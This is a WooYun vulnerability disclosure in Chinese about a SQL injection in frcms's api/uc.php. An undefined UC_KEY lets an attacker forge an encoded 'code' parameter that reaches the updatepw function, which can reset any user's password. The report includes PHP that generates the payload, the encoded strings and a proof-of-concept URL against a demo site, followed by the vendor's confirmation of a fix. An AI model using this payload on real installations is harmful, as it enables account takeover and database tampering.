当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073251

漏洞标题:frcms 注入 (可改任意用户密码 demo成功)#1

相关厂商:finereason.com

漏洞作者: ′king

提交时间:2014-08-21 13:57

修复时间:2014-11-19 13:58

公开时间:2014-11-19 13:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-21: 细节已通知厂商并且等待厂商处理中
2014-08-25: 厂商已经确认,细节仅向厂商公开
2014-08-28: 细节向第三方安全合作伙伴开放
2014-10-19: 细节向核心白帽子及相关领域专家公开
2014-10-29: 细节向普通白帽子公开
2014-11-08: 细节向实习白帽子公开
2014-11-19: 细节向公众公开

简要描述:

rt。

详细说明:

在api/uc.php中

define('API_RETURN_FORBIDDEN', '-2');
define('UC_CLIENT_ROOT', FR_ROOT.'/uc_client');
include_once(FR_ROOT.'/api/api_config.php');
if(defined('IN_UC')) {
exit('Invalid Request');
} else {
error_reporting(0);
set_magic_quotes_runtime(0);
!isset($db)&&$db=connectdb();
defined('MAGIC_QUOTES_GPC') || define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
$get = $post = array();
$code = @$_GET['code'];

parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if(MAGIC_QUOTES_GPC) {
$get = _stripslashes($get);
}


来看看所包含的这文件。

define('FR_API','');
//是否开启整合,空为不整合,pw为整合phpwind,uc为整合Ucenter
//此文件中的注释字符不可删除
if(FR_API&&FR_API=='uc'){
/*uc_config 开始*/
define('UC_CONNECT', 'mysql');
define('UC_DBHOST', 'localhost');
define('UC_DBUSER', 'root');
define('UC_DBPW', '123456');
define('UC_DBNAME', 'ucenter');
define('UC_DBCHARSET', 'gbk');
define('UC_DBTABLEPRE', 'uc_');
define('UC_DBCONNECT', '0');
define('UC_KEY', 'dfdfdfsdfdsfdsd');
define('UC_API', 'http://192.168.1.200/uc');
define('UC_CHARSET', 'gbk');
define('UC_IP', '');
define('UC_APPID', '1');
define('UC_PPP', '20');
/*uc_config 结束*/
if(!defined('UC_CLIENT_VERSION')){
@include_once(FR_ROOT.'/uc_client/client.php');
}
}elseif(FR_API&&FR_API=='pw'){
define('P_W','admincp');
require_once(FR_ROOT.'/api/pw_api/security.php');
require_once(FR_ROOT.'/api/pw_api/pw_common.php');
/*pw_config 开始*/
define('UC_DBHOST', 'localhost');
define('UC_DBUSER', 'root');
define('UC_DBPW', '123456');
define('UC_DBNAME', 'phpwind');
define('UC_DBCHARSET', 'gbk');
define('UC_DBTABLEPRE', 'pw_');
define('UC_DBCONNECT', '0');
define('UC_KEY', '1u0ckr7zbyl58xqwljrq');
define('UC_API', 'http://192.168.1.200');
define('UC_CHARSET', 'gbk');
define('UC_IP', '');
define('UC_APPID', '2');
/*pw_config 结束*/
$uc_appid=UC_APPID;
$uc_key=UC_KEY;


这里一开始define('FR_API','') 为空
然后肯定就不能进入那两个if
就没有赋值

parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if(MAGIC_QUOTES_GPC) {
$get = _stripslashes($get);
}


那么这个UC_KEY 就是UC_KEY
就可以调用一个函数来生成语句了。
随便找一个函数。

function updatepw($get, $post) {
global $db;
if(!API_UPDATEPW) {
return API_RETURN_FORBIDDEN;
}
$username = $get['username'];
$password = $get['password'];
$newpw = md5($password);
$db->query("UPDATE ".$this->tablepre."member SET m_pwd='$newpw' WHERE m_login='$username'");
return API_RETURN_SUCCEED;
}


这里用户名和密码都是我们生成的语句所传递进来的 所以我们可以update任意会员的密码 。
当然也可以注入。

$code=urlencode(_authcode("time=999999999999999999999999&username=aaaa'&action=updatepw", 'ENCODE', $uc_key));
echo $code;exit;


这里我调用函数生成一下加密字符串
得到
ece1D670hYzmEkiFD%2FnY%2Fm5PqCzmA99OphcKcW5cb4dL3AzW%2BL73lRDDdNngdeYQnYzE6wYCC4WoIef2%2FKhd08acKElW30X4jIyIuyW3jUPADDbfsdnCcqE

3.jpg


可以看到报错了 成功引入了单引号。
如果这里我们生成语句的时候 把用户名和密码改一下 就可以改任意用户的密码了。
测试一下demo
http://v2014.rccms.com/api/uc.php?code=e209ygVWvjwOg2ruKoPLOsY4PmxKnRndC73%2BVooImrexNhWivklLwRzSB011MsqX5CzUzxQa2beOvkmPXY0WW63US8VJal8MxDkMvVum5KtY1KvpZYnf6wKd28M1fg

4.jpg


可以看到报错了 自然也就是引入单引号了。

漏洞证明:

http://v2014.rccms.com/api/uc.php?code=e209ygVWvjwOg2ruKoPLOsY4PmxKnRndC73%2BVooImrexNhWivklLwRzSB011MsqX5CzUzxQa2beOvkmPXY0WW63US8VJal8MxDkMvVum5KtY1KvpZYnf6wKd28M1fg

4.jpg

修复方案:

应该判断是否初始化了uckey
如果没有初始化 就exit

版权声明:转载请注明来源 ′king@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-25 12:13

厂商回复:

漏洞确认存在,已修复,随后补丁包中更新。感谢提交

最新状态:

暂无